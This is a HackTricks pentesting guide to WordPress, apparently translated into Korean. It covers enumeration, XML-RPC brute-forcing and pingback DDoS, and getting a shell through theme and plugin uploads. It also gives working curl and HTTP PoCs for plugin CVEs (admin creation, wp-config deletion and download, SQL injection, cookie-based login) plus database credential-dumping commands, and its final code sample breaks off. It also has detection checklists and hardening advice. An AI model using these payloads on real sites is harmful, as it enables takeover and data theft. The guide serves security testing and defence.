Wordpress
Reading time: 30 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
-
Uploaded 파일은 다음 위치에 저장됩니다:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
테마 파일은 /wp-content/themes/에서 찾을 수 있습니다, 따라서 테마의 php를 변경하여 RCE를 얻으려는 경우 일반적으로 해당 경로를 사용하게 됩니다. 예: theme twentytwelve를 사용하면 다음에서 404.php 파일에 접근할 수 있습니다: /wp-content/themes/twentytwelve/404.php
-
또 다른 유용한 URL: /wp-content/themes/default/404.php
-
wp-config.php파일에서 데이터베이스 루트 비밀번호를 찾을 수 있습니다. -
확인할 기본 로그인 경로: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txt에는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다.wp-activate.php는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.php는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress 기능을 나타내는 파일입니다. 이러한 종류의 통신은 WordPress의 REST API로 대체되었습니다.wp-content폴더는 플러그인과 테마가 저장되는 주요 디렉터리입니다.wp-content/uploads/는 플랫폼에 업로드된 모든 파일이 저장되는 디렉터리입니다.wp-includes/는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉터리입니다.wp-sitemap.xmlWordPress 5.5 이상 버전에서는 모든 공개 게시물 및 공개적으로 쿼리 가능한 포스트 타입과 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다.
Post exploitation
wp-config.php파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명 및 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 또한 DEBUG 모드를 활성화하는 데 사용될 수 있으며, 문제 해결 시 유용합니다.
사용자 권한
- Administrator
- Editor: 게시하고 자신의 및 타인의 게시물을 관리합니다
- Author: 자신의 게시물을 게시하고 관리합니다
- Contributor: 게시물을 작성하고 관리할 수 있으나 게시할 수는 없습니다
- Subscriber: 게시물을 열람하고 자신의 프로필을 편집할 수 있습니다
Passive Enumeration
WordPress 버전 확인
파일 /license.txt 또는 /readme.html을 찾을 수 있는지 확인하세요.
페이지의 소스 코드 안에서 (예: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS 링크 파일
.png)
- JavaScript 파일
.png)
플러그인 가져오기
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
테마 가져오기
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
일반적으로 버전 추출하기
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
능동적 열거
플러그인 및 테마
아마 모든 플러그인과 테마를 찾을 수는 없습니다. 모두 찾으려면 적극적으로 Brute Force하여 플러그인 및 테마 목록을 조사해야 합니다 (운이 좋다면 이러한 목록을 포함한 자동화 도구가 있습니다).
사용자
- ID Brute: WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
curl -s -I -X GET http://blog.example.com/?author=1
응답이 200 또는 30X이면 해당 id가 유효하다는 의미입니다. 응답이 400이면 id가 무효입니다.
- wp-json: 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다:
curl http://blog.example.com/wp-json/wp/v2/users
사용자에 대한 일부 정보를 노출할 수 있는 또 다른 /wp-json/ endpoint는:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.
또한 /wp-json/wp/v2/pages는 IP 주소를 leak할 수 있습니다.
- Login username enumeration: 로그인 시 **
/wp-login.php**의 메시지는 지정한 username의 존재 여부에 따라 다릅니다.
XML-RPC
If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).
활성화 여부를 확인하려면 _/xmlrpc.php_에 접근해 다음 요청을 보내보세요:
확인
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories 또는 **metaWeblog.getUsersBlogs**는 credentials를 brute-force하는 데 사용할 수 있는 방법들 중 일부입니다. 만약 그 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
credentials가 유효하지 않은 경우 200 응답 코드 내에 "Incorrect username or password" 메시지가 표시되어야 합니다.
%20(2)%20(2)%20(2)%20(2)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(2)%20(4)%20(1).png)
.png)
올바른 credentials를 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
또한 동일한 요청에서 여러 credentials를 시도할 수 있기 때문에 **system.multicall**을 사용해 credentials를 brute-force하는 더 빠른 방법이 있습니다:
.png)
2FA 우회
이 방법은 사람을 위한 것이 아니라 프로그램용으로 만들어진 오래된 방식이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 로그인에 2FA가 걸려 있다면, xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있을지도 모릅니다. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명하듯 여전히 RCE에 도달할 수 있을지도 모릅니다.
DDoS 또는 port scanning
목록에서 pingback.ping 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.
이것은 수천의 Wordpress 사이트에게 한 대상에 접근하도록 요청하여 해당 위치에서 DDoS를 발생시키거나, Wordpress로 내부 네트워크를 scan하게 만들 수 있습니다(임의의 포트를 지정할 수 있음).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

0 (17)보다 큰 값을 가진 faultCode를 받으면, 포트가 열려 있다는 뜻입니다.
이 방법을 악용해 DDoS를 발생시키는 방법을 배우려면 이전 섹션에서 **system.multicall**의 사용을 확인하세요.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
When this file is 접근되면 a "무거운" MySQL query is performed, so I could be used by 공격자 to cause a DoS.
Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.
자동화 도구
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
비트 덮어쓰기로 접근 획득
실제 공격이라기보다는 호기심에 가까운 사례입니다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서는 모든 wordpress 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 파일 /var/www/html/wp-includes/user.php의 위치 5389의 비트를 뒤집어 NOT (!) 연산을 NOP로 만들 수 있었습니다.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
사용된 테마의 php 수정 (관리자 자격 증명 필요)
Appearance → Theme Editor → 404 Template (오른쪽에 있음)
php shell용으로 내용을 변경하세요:
.png)
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우 다음 주소로 접근하면 됩니다: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
다음을 사용할 수 있습니다:
use exploit/unix/webapp/wp_admin_shell_upload
세션을 얻기 위해.
Plugin RCE
PHP plugin
.php 파일을 plugin으로 업로드할 수 있을 수도 있습니다.
예를 들어 다음과 같이 php backdoor를 만드세요:
.png)
그런 다음 새 plugin을 추가하세요:
.png)
plugin을 업로드하고 Install Now를 누르세요:
.png)
Procced를 클릭하세요:
.png)
아마도 아무 일도 일어나지 않는 것처럼 보이지만, Media로 이동하면 업로드된 shell을 볼 수 있습니다:
.png)
해당 항목에 접근하면 reverse shell을 실행할 수 있는 URL을 볼 수 있습니다:
.png)
Uploading and activating malicious plugin
이 방법은 취약한 것으로 알려진 악성 plugin을 설치하여 web shell을 얻을 수 있도록 하는 절차입니다. 이 과정은 WordPress dashboard를 통해 다음과 같이 수행됩니다:
- Plugin Acquisition: 해당 plugin은 Exploit DB와 같은 출처에서 획득합니다(예: here).
- Plugin Installation:
- WordPress dashboard로 이동한 뒤
Dashboard > Plugins > Upload Plugin로 갑니다. - 다운로드한 plugin의 zip 파일을 업로드합니다.
- Plugin Activation: plugin이 성공적으로 설치되면 dashboard에서 활성화해야 합니다.
- Exploitation:
- "reflex-gallery" plugin이 설치·활성화된 상태라면 취약점이 알려져 있어 악용될 수 있습니다.
- Metasploit framework는 이 취약점에 대한 exploit을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 확보하여 사이트에 무단 접근할 수 있습니다.
- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나에 불과하다는 점에 유의하세요.
이 내용에는 WordPress dashboard에서 plugin을 설치하고 활성화하는 절차를 보여주는 시각 자료가 포함되어 있습니다. 다만 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법적이고 비윤리적임을 반드시 주의하세요. 이 정보는 책임감 있게, 예를 들어 명시적 허가를 받은 penetration testing과 같은 합법적 맥락에서만 사용해야 합니다.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: _WPXStrike_는 WordPress에서 Cross-Site Scripting (XSS) 취약점을 Remote Code Execution (RCE) 또는 다른 심각한 취약점으로 상승시킬 수 있도록 설계된 스크립트입니다. 자세한 내용은 this post를 확인하세요. 다음을 지원합니다:
- Privilege Escalation: WordPress에 사용자를 생성합니다.
- (RCE) Custom Plugin (backdoor) Upload: 커스텀 plugin(backdoor)을 WordPress에 업로드합니다.
- (RCE) Built-In Plugin Edit: WordPress의 Built-In Plugins을 편집합니다.
- (RCE) Built-In Theme Edit: WordPress의 Built-In Themes를 편집합니다.
- (Custom) Custom Exploits: 서드파티 WordPress Plugins/Themes에 대한 Custom Exploits를 제공합니다.
Post Exploitation
사용자 이름과 비밀번호 추출:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
관리자 비밀번호 변경:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress 플러그인 Pentest
공격 표면
Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심적입니다. 플러그인이 기능을 어떻게 노출할 수 있는지는 다음 항목에서 확인할 수 있으며, 취약한 플러그인의 예시는 this blog post에서 볼 수 있습니다.
wp_ajax
플러그인이 함수를 사용자에게 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러에는 로직, authorization, 또는 authentication 버그가 포함될 수 있습니다. 게다가 이러한 함수들이 인증과 권한 부여를 모두 wordpress nonce의 존재에 기반하는 경우가 꽤 자주 발생하는데, 이 nonce는 Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다(역할과 무관하게).
다음은 플러그인에서 함수를 노출하는 데 사용될 수 있는 함수들입니다:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.
caution
더군다나, 만약 함수가 wp_verify_nonce 함수로 사용자 권한만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- REST API
또한 wordpress에서 register_rest_route 함수를 사용해 REST API를 등록하여 함수를 노출시키는 것도 가능합니다:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback는 주어진 사용자가 해당 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
내장된 __return_true 함수를 사용하면 사용자 권한 확인을 건너뜁니다.
- 직접적인 php 파일 접근
물론, Wordpress는 php를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면 모든 사용자가 이를 악용할 수 있습니다.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
일부 플러그인은 내부 통합이나 리버스 프록시용으로 “trusted header” 단축을 구현하고, 그 헤더를 사용해 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 해당 헤더가 상위 구성요소에 의해 암호학적으로 요청에 바인딩되어 있지 않다면 공격자가 이를 스푸핑하여 administrator 권한으로 제한된 REST 경로에 접근할 수 있습니다.
- Impact: core users REST 경로를 통해 새로운 administrator를 생성하여 인증 없이 admin 권한으로 권한 상승.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(사용자 ID 1을 강제, 일반적으로 첫 번째 administrator 계정). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태에 대응시키고 권한 검사를 건너뜁니다.
- WordPress 코어는 이 라우트에 대해
create_users권한을 요구합니다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회합니다.
Expected success indicators
- 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201.
wp-admin/users.php에서 보이는 새로운 관리자 계정.
Detection checklist
getallheaders(),$_SERVER['HTTP_...'], 또는 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는 vendor SDKs를 grep합니다 (예:wp_set_current_user(),wp_set_auth_cookie()).- request headers에 의존하고 강력한
permission_callback검사가 없는 권한이 있는 콜백에 대한 REST 등록을 검토합니다. - 헤더 값만으로 게이트된 REST 핸들러 내부에서 핵심 사용자 관리 함수들(
wp_insert_user,wp_create_user)의 사용을 찾습니다.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 테마와 플러그인은 자주 wp_ajax_ 및 wp_ajax_nopriv_ 훅을 통해 AJAX 핸들러를 노출합니다. nopriv 변형이 사용될 때 콜백은 인증되지 않은 방문자에 의해 접근 가능해지므로, 민감한 동작은 추가로 다음을 구현해야 합니다:
- 권한 검사 (예:
current_user_can()또는 적어도is_user_logged_in()), 및 check_ajax_referer()/wp_verify_nonce()로 검증된 CSRF nonce, 및- 입력값에 대한 엄격한 정제/검증.
Litho multipurpose theme (< 3.1)는 Remove Font Family 기능에서 이 3가지 제어를 누락하여 다음과 같은 코드(단순화됨)를 배포했습니다:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
이 스니펫으로 인한 문제:
- Unauthenticated access – the
wp_ajax_nopriv_hook is registered. - No nonce / capability check – 모든 방문자가 해당 엔드포인트에 접근할 수 있습니다.
- No path sanitisation – 사용자 제어
fontfamily문자열이 필터링 없이 파일시스템 경로에 연결되어 클래식../../경로 이탈을 허용합니다.
Exploitation
공격자는 단일 HTTP POST 요청을 전송함으로써 uploads 기본 디렉터리 아래 (보통 <wp-root>/wp-content/uploads/)의 어떤 파일이나 디렉터리든 삭제할 수 있습니다:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
다른 영향력 있는 대상에는 플러그인/테마의 .php 파일(보안 플러그인을 무력화하기 위해) 또는 .htaccess 규칙이 있다.
감지 체크리스트
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concatenation of unsanitised user input into paths (look for
$_POST,$_GET,$_REQUEST). - Absence of
check_ajax_referer()andcurrent_user_can()/is_user_logged_in().
오래된 역할 복원과 권한 검사 누락을 통한 권한 상승 (ASE "View Admin as Role")
많은 플러그인이 원래 역할을 user meta에 저장해 나중에 복원할 수 있게 "view as role" 또는 임시 역할 전환 기능을 구현한다. 복원 경로가 capabilities 확인과 유효한 nonce 없이 요청 변수(예: $_REQUEST['reset-for'])와 플러그인이 관리하는 목록에만 의존한다면, 이는 수직 권한 상승(vertical privilege escalation)이 된다.
실제 사례로 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견됐다. reset 분기(branch)는 내부 배열 $options['viewing_admin_as_role_are']에 사용자가 존재하면 reset-for=<username>에 따라 역할을 복원했지만, 현재 역할을 제거하고 user meta _asenha_view_admin_as_original_roles에서 저장된 역할을 다시 추가하기 전에 current_user_can() 체크나 nonce 검증을 전혀 수행하지 않았다:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Why it’s exploitable
- 서버 측 권한 확인 없이
$_REQUEST['reset-for']와 플러그인 옵션을 신뢰한다. - 사용자가 이전에
_asenha_view_admin_as_original_roles에 높은 권한이 저장되어 있다가 권한이 강등된 경우, reset 경로를 호출해 그 권한을 복원할 수 있다. - 일부 배포 환경에서는 인증된 사용자라면 누구나
viewing_admin_as_role_are에 여전히 남아 있는 다른 사용자 이름에 대해 reset을 트리거할 수 있다(권한 검증 결함).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: administrator)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
Detection checklist
- user meta에 “original roles”를 유지하는 역할 전환 기능(예:
_asenha_view_admin_as_original_roles)을 찾으세요. - 다음과 같은 리셋/복원 경로를 식별하세요:
- 사용자명을
$_REQUEST/$_GET/$_POST에서 읽음. current_user_can()및wp_verify_nonce()/check_admin_referer()없이add_role()/remove_role()로 역할을 변경함.- 행위자의 권한 대신 플러그인 옵션 배열(예:
viewing_admin_as_role_are)에 기반해 권한을 부여함.
- 사용자명을
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
일부 플러그인은 사용자 전환 헬퍼를 공개 init 훅에 연결하고 클라이언트가 제어하는 쿠키에서 신원을 유도합니다. 코드가 인증, 권한 및 유효한 nonce를 확인하지 않고 wp_set_auth_cookie()를 호출하면, 비인증 방문자도 임의의 사용자 ID로 강제 로그인할 수 있습니다.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
취약한 이유
- 공개된
init훅은 핸들러가 인증되지 않은 사용자도 접근 가능하게 만듭니다(is_user_logged_in()검사 없음). - 식별은 클라이언트에서 수정 가능한 쿠키(
original_user_id)로부터 파생됩니다. - 직접적인
wp_set_auth_cookie($uid)호출은 요청자를 해당 사용자로 로그인시키며 권한(capability)/nonce 검사 없이 실행됩니다.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF 고려사항 — WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
공격자 노트
- 플러그인별 엔드포인트를 깨끗한 페이로드로 타깃하세요:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, 사용자 정의 파일 핸들러, shortcodes. - 우선 unauth 경로를 먼저 테스트하세요 (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다. - 전형적인 높은 영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
방어 노트
- 일반적인 WAF 시그니처만으로 plugin CVEs를 보호하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치를 구현하거나 신속히 업데이트하세요.
- 코드에서는 negative regex 필터보다 positive-security 체크(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요.
WordPress 보호
정기 업데이트
WordPress, plugins, and themes가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
또한, 신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요.
보안 플러그인
기타 권장 사항
- 기본 admin 사용자 제거
- 강력한 비밀번호와 2FA 사용
- 주기적으로 사용자 권한을 검토하세요
- Brute Force 공격을 방지하기 위해 로그인 시도 제한 적용
wp-admin.php파일 이름을 변경하고 내부에서만 또는 특정 IP 주소에서만 접근을 허용하세요.
인증되지 않은 SQL Injection — 부적절한 검증으로 인해 (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin은 savecategory 작업을 노출시켰고, 이는 결국 다음의 취약한 코드를 modules/category/model.php::validateFormData() 내부에서 실행합니다:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
이 스니펫이 유발하는 문제:
- Unsanitised user input –
parentid가 HTTP 요청에서 그대로 전달됩니다. - String concatenation inside the WHERE clause –
is_numeric()/esc_sql()/ prepared statement 없음. - Unauthenticated reachability – 해당 액션은
admin-post.php를 통해 실행되지만, 유일한 검증은 CSRF nonce (wp_verify_nonce())뿐이며, 이 nonce는 shortcode[wpjobportal_my_resumes]를 포함한 공용 페이지에서 누구나 가져올 수 있습니다.
악용
- 새로운 nonce 획득:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid를 악용해 임의의 SQL을 주입:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi가 존재함을 입증합니다.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
다른 작업인 downloadcustomfile는 방문자가 Path Traversal을 이용해 디스크상의 모든 파일을 다운로드할 수 있게 허용했습니다. 취약한 sink는 modules/customfield/model.php::downloadCustomUploadedFile()에 위치합니다:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name은 공격자가 제어하며 입력 정화 없이 연결됩니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 CSRF nonce입니다.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
서버가 wp-config.php의 내용을 응답하여, leaking DB credentials and auth keys.
Social Login AJAX fallback를 통한 인증되지 않은 계정 탈취 (Jobmonster Theme <= 4.7.9)
많은 테마/플러그인이 admin-ajax.php를 통해 노출된 "social login" 헬퍼를 제공합니다. 만약 인증되지 않은 AJAX 액션(wp_ajax_nopriv_...)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 됩니다.
전형적인 취약 패턴(단순화)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
